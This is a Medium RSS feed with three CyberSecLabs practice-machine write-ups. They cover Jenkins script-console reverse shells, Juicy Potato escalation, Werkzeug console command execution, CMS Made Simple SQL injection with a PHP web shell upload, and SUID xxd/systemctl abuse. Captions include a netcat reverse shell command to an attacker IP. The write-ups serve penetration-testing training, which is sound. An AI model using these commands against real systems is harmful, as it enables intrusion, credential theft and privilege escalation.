<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hyakuj0 on Medium]]></title>
        <description><![CDATA[Stories by Hyakuj0 on Medium]]></description>
        <link>https://medium.com/@hyakuj00?source=rss-ab80b033016a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*lRgpUkapnJrTDWAPRQiBoA.jpeg</url>
            <title>Stories by Hyakuj0 on Medium</title>
            <link>https://medium.com/@hyakuj00?source=rss-ab80b033016a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 06:02:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hyakuj00/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CyberSecLabs - Potato Write up]]></title>
            <link>https://medium.com/@hyakuj00/cyberseclabs-potato-write-up-33ae007d40b1?source=rss-ab80b033016a------2</link>
            <guid isPermaLink="false">https://medium.com/p/33ae007d40b1</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cyberseclabs]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[boot2root]]></category>
            <dc:creator><![CDATA[Hyakuj0]]></dc:creator>
            <pubDate>Wed, 10 Jun 2020 03:19:02 GMT</pubDate>
            <atom:updated>2020-06-10T04:33:16.833Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*3gk2qEgpUQzYHfOQs7OLIw.png" /></figure><p><em>This is a write up for the machine ‘potato’ from CyberSecLabs. CyberSecLabs is an amazing platform, for people who want to work upon their penetration testing skills. Potato was an easy machine. We could log into the Jenkins server using the default credentials and get a reverse shell using the script console present in Jenkins. We then use Juicy Potato to escalate our privileges.</em></p><h4><strong>Part 1: Enumeration</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OMdBQm0W7yMlmXASlO6xSw.png" /></figure><p>Nmap Scan shows a few ports open. We couldn’t log into SMB anonymously, so we jump straight to the port 8080 which is running Jenkins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WNqO7aEtdnr08xpeUnla4A.png" /></figure><p>We can see the login page for Jenkins. Before going further into enumeration, I tried a few default credentials and could log in using admin:admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cQCGmWKoFw7xpwgC5WO_DQ.png" /></figure><h4><strong>Part 2: Exploitation</strong></h4><p>Jenkins has a feature called ‘Script Console’ in the ‘manage’ directory, where it allows us to execute scripts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*vAkWrQ2MiZgALKPb-ES68Q.png" /></figure><p>The script console mentions that we can execute groovy script on the server. You can find the groovy reverse shell script <a href="https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*oJvwbosI6l5SxiFxfIGbzg.png" /></figure><p>You can change the string host to the IP of your local machine. Once we hit run, we get a shell back on our machine as the user Ben.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*0D_1M1oqtvTpIHfdPtEZKQ.png" /></figure><h4>Part 3 : Post Exploitation</h4><p>Before moving forward with Enumeration, we check the privileges that the user has on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*utKE_O2Y9YMYGupJRlk01A.png" /></figure><p>We can see that SeImpersonatePrivilege is Enabled. This means we can use the famous Juicy Potato attack. You can read about this attack in detail <a href="https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/">here</a>. We first transfer the juicy potato binary on our victim machine. You can get it from <a href="https://github.com/ohpe/juicy-potato/releases">here</a>. We also transfer nc.exe(Netcat for windows) to the victim machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*Bkjqv_FUFVaV1wQkFarojQ.png" /></figure><p>Juicy Potato also requires CLSID as an argument. You can find the <a href="https://github.com/ohpe/juicy-potato/tree/master/CLSID">list</a> of CLSID for your OS version on the github repo of Juicy Potato. Using the ‘systeminfo’ command we can see that the machine is running Windows server 2012.</p><p>Next, we create a batch file, having the following contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*FhOjmgMHICH_SBEevAhoEA.png" /><figcaption>echo nc.exe -e cmd.exe 10.10.0.38 1337 &gt; rev.bat</figcaption></figure><p>This simply means that when rev.bat is run, it will connect to our local machine using nc.exe .</p><p>Now, we use juicy potato. But before that let’s set up a netcat listener on our local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*_Z65lj6ANNVe0k1JcOTWFg.png" /></figure><p>Running Juicy potato now,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZnV7ZIsDYj6QqsZn9gvTA.png" /><figcaption>juicy.exe -p c:\Users\ben\rev.bat -t * -l 6666 -c {e60687f7–01a1–40aa-86ac-db1cbf673334}</figcaption></figure><p>Here,</p><ul><li>-p : Program to launch</li><li>-t : Create Process call.</li><li>-l : COM Server Listen Porn</li><li>-c : CLSID as mentioned above. You can use any one from the list till it works.</li></ul><p>Once this is completed, we get a shell back on our machine as NT Authority\system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*qOl1NvRGD1hLvExAG64jNQ.png" /></figure><p>The access and the system flags can be found in the respective user directories.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33ae007d40b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberSecLabs — Debug Write up]]></title>
            <link>https://medium.com/@hyakuj00/cyberseclabs-debug-write-up-d0107233cefd?source=rss-ab80b033016a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0107233cefd</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cyberseclabs]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Hyakuj0]]></dc:creator>
            <pubDate>Wed, 20 May 2020 06:44:35 GMT</pubDate>
            <atom:updated>2020-05-20T07:36:27.948Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberSecLabs — Debug Write up</h3><p><em>This is a write up for the machine Debug from </em><a href="https://www.cyberseclabs.co.uk/"><em>CyberSecLabs</em></a><em>.CyberSecLabs is an amazing platform, for people who want to work upon their penetration testing skills. Debug was an easy machine. We could directly execute commands on the server , using an interactive python console present on the website. Then using a SUID bit enabled binary owned by root, we could leverage our privileges.</em></p><p><strong>Part 1: Scanning</strong></p><p>Nmap Scan returned only two ports open, 22 and 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s5BKbJbAvSyqxt8SQE6UyA.png" /></figure><p>Let’s go to the website for further enumeration, but before that let’s run a directory scan on the website .(It is always good to have parallel enumeration running in the background.)</p><p><strong>Part 2 : Enumeration</strong></p><p>The website did not have anything interesting, except that a blog page was returning some kind of error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0QJiNmFCRxVMTh0zeJJyyQ.png" /></figure><p>We can see that the website is using flask. Flask is a web framework written in python.</p><p>It also allowed us to run python commands through an interactive python shell present.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EcA6Wy-c5Y4U3JyS3_w47g.png" /></figure><p>Let’s check the results from our directory scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o0A8GfUz1n5timKXvGC6EQ.png" /></figure><p>We can see there is a directory called Console on the web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w_XFz3VXbyYxcCWcXscUNQ.png" /></figure><p>It is an interactive python interpreter. A quick google search for the Werkzeub traceback interpreter shows that it is vulnerable to remote command execution.</p><p><strong>Part 3:Exploitation</strong></p><p>I always like to fire up burp before exploiting any kind of command execution vulnerability, as it helps us to tweak our commands and customize our payload as required.</p><p>Let’s intercept the web request of the console page and send it to repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-6X4zQ1M8vB8f8om0aUO-A.png" /></figure><p>The ‘cmd’ parameter here, takes our input and executes it on the server. Let’s use a python reverse shell script, and also set up a listener on our machine to get a shell. I use the python reverse shell script, present on the cheat sheet section from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">pentest monkey</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mM4z9fpRr_eltxWmRnO8MQ.png" /></figure><p>Make sure you URL encode the string before sending it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*mDCzYeUXf0wyM-x4-f1p1Q.png" /></figure><p>We get a shell as the user megan on the machine. We can grab the user flag from megan’s home directory.</p><p><strong>Part 4 : Post Exploitation</strong></p><p>Before moving forward, let’s update our shell to a better one. There are ssh keys, present in megan’s home directory, which we can use to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*RQYCyb9t-Iy_x9B8b8HNWw.png" /></figure><p>We copy the id_rsa to our local machine, and use it to login as megan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*5dearow1ymQJQbMZuOIZXQ.png" /></figure><p>Let’s start with the enumeration. I use the linux enumeration script for brevity of this writeup; however it’s always best to learn the manual way of enumeration to understand the exact mechanism. One can then modify the scripts as per the situation.</p><p>After the enumeration I come across a binary, owned by root. It has the SUID bit set. SUID (Set User ID) is a type of permission which is given to a file, and allows users to execute the file with the permissions of its owner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*uEtSGUde3Rp-XzeuFF8eMg.png" /></figure><p>We can run the xxd binary, as the user root . The xxd binary can allow users to create a hex dump of any file and also reverse the hex dump into its original ASCII form. Let’s use this to dump the contents of /etc/shadow file and then reverse it into its original ASCII form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r3-eHKdWI-COLaNB87ccqg.png" /></figure><p>We have successfully dumped the contents of shadow file. Now, we copy the hash of the user root, onto our local machine and use John to crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*qv1eGM5rcJPVhxdMQGcXIw.png" /></figure><p>We have found the password for the user root, now we can switch user by using the su command and login as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*r-wNvBxGCv3AYnJTrNtqZA.png" /></figure><p>The root flag can be found in the root directory. Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0107233cefd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberSecLabs — Simple Writeup]]></title>
            <link>https://medium.com/@hyakuj00/cyberseclabs-simple-writeup-a1a02560d6c3?source=rss-ab80b033016a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1a02560d6c3</guid>
            <category><![CDATA[cyberseclabs]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Hyakuj0]]></dc:creator>
            <pubDate>Tue, 19 May 2020 09:01:12 GMT</pubDate>
            <atom:updated>2020-05-19T09:42:09.012Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberSecLabs — Simple Write up</h3><p><em>This is a write up for Simple, from </em><a href="https://www.cyberseclabs.co.uk/"><em>CyberSecLabs</em></a><em>. CyberSecLabs is an amazing platform, for people who want to work upon their penetration testing skills. The best thing about this platform, is that they do not have ‘CTF style’ machines, and the machines are quite realistic. It is also a good practice for the students, preparing for OSCP.</em></p><h4>PART 1 : USER</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*xlVUGF8VZ5HD_NiDFGZQqw.png" /><figcaption>nmap -sC -sV -p- 172.31.1.2</figcaption></figure><p>Nmap returned only 2 ports open, HTTP and SSH. Here, Nmap shows us that the website is using CMS made simple. Let’s go to the website for further enumeration, but before that, I always like to have some kind of enumeration going on in the background, so we will run a directory scan against the website.</p><p>At the bottom left corner of the website, we see the CMS version. Let’s check, if there are any exploits available for this particular version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*W9lospPcENMYC9jkXTYk8w.png" /></figure><p>Using searchsploit we can see, there are no exploits available for CMS Made Simple 2.2.4.<br>But, there is an SQL Injection exploit available, which says &lt;2.2.10. This means, all versions before 2.2.10 are prone to the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SDxKtyMHuHif-9KqytN3YQ.png" /></figure><p>It is a Time based SQLi. Time-based SQL Injection is a technique that relies on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding.</p><p>Let’s copy the exploit to our directory, and run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*pKcXURdIamvDmaIdv14zfA.png" /><figcaption>python exploit.py -u <a href="http://172.31.1.2/">http://172.31.1.2</a> — crack -w rockyou.txt</figcaption></figure><p>The exploit completed successfully. It found an email, and also cracked the password.</p><p>Going back to the directory scan that was running in the background, we can see there is an admin directory on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*_BHSmwpeMRjm1DOkRu0C9A.png" /></figure><p>We use the username and password we found, and log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gxWlqBktl8nrMnciwahXOQ.png" /></figure><p>On the website, underneath the contents directory, we have a file manager option. It allows us to upload files to the /uploads directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2CW4AALTK-G8_xfIiCIdg.png" /></figure><p>Next we copy the php reverse shell script to our directory. You can find this in the /usr/share/webshells/php/ directory by default, available in Kali. We make the necessary changes to the script by changing the IP and the PORT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*lNUWr2TVXiS2c0M10HFFiQ.png" /></figure><p>It does not allow us to upload the shell.php file, so let’s try to change the file extension to .txt and upload it. We can see, we successfully uploaded the file using the .txt extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*XKkCwrPYg3eUm8gNzH9u5w.png" /></figure><p>For some reason, it did not allow us to rename the file, so let’s try to copy the contents of our text file to a .php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*AUpuz0CNU1cAB_f372Ty6A.png" /></figure><p>We successfully transferred the contents of the text file to the .php file, and it is uploaded in the /uploads directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*2TrGcMY047idGGrL9Gactw.png" /></figure><p>Now, lets go to the /uploads directory and execute our php file. But before that let’s set up a netcat listener.</p><p>Once we set up our listener, we go to /uploads/shell.php . It will successfully give a shell back to us. We can see we are the user david on this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HPv-MXyOsSlFqNXbB4LBTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WfW4rtlttz9wDxPlaC9Dbw.png" /></figure><p>Before moving forward, lets spawn a tty shell and capture the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UvcRhCq7vqWAv7pRzErOAQ.png" /></figure><p><strong>Part 2 : ROOT</strong></p><p>After the initial access, we now enumerate the box for some interesting things. I use the linux enumeration script for this, although I suggest you to learn the manual way of enumeration before using the scripts.</p><p>Once it is completed, we can see there is a SUID binary called systemctl,owned by root, which we can execute .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*srDXGWPHvdVNqglvx56rNA.png" /></figure><p>I came across an interesting article, which explained how we can use this binary to escalate our privileges. You can read <a href="https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49">the article here</a>.</p><p>As mentioned in the article, we first create a systemd unit file which is where systemctl references when starting a service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*vYZQovQQ-omdpcg9iIfczg.png" /></figure><p>It is important to note that the User value should be set to the user we want systemctl to execute the service as. Once that is done let’s set up a listener and use systemctl to start our service. As soon as we use systemctl to start the service , we get a connection back on our machine as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k2GDTUoJeC1oPOR55y_s2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39Qh2KiklIm79vmF85y-LQ.png" /></figure><p>Once we are root on the machine ,we can simply grab the flag from the root directory.</p><p><em>References:</em></p><p><a href="https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49">Privilege Escalation: Leveraging misconfigured systemctl permissions</a></p><p><a href="https://www.exploit-db.com/exploits/46635"><em>https://www.exploit-db.com/exploits/46635</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1a02560d6c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>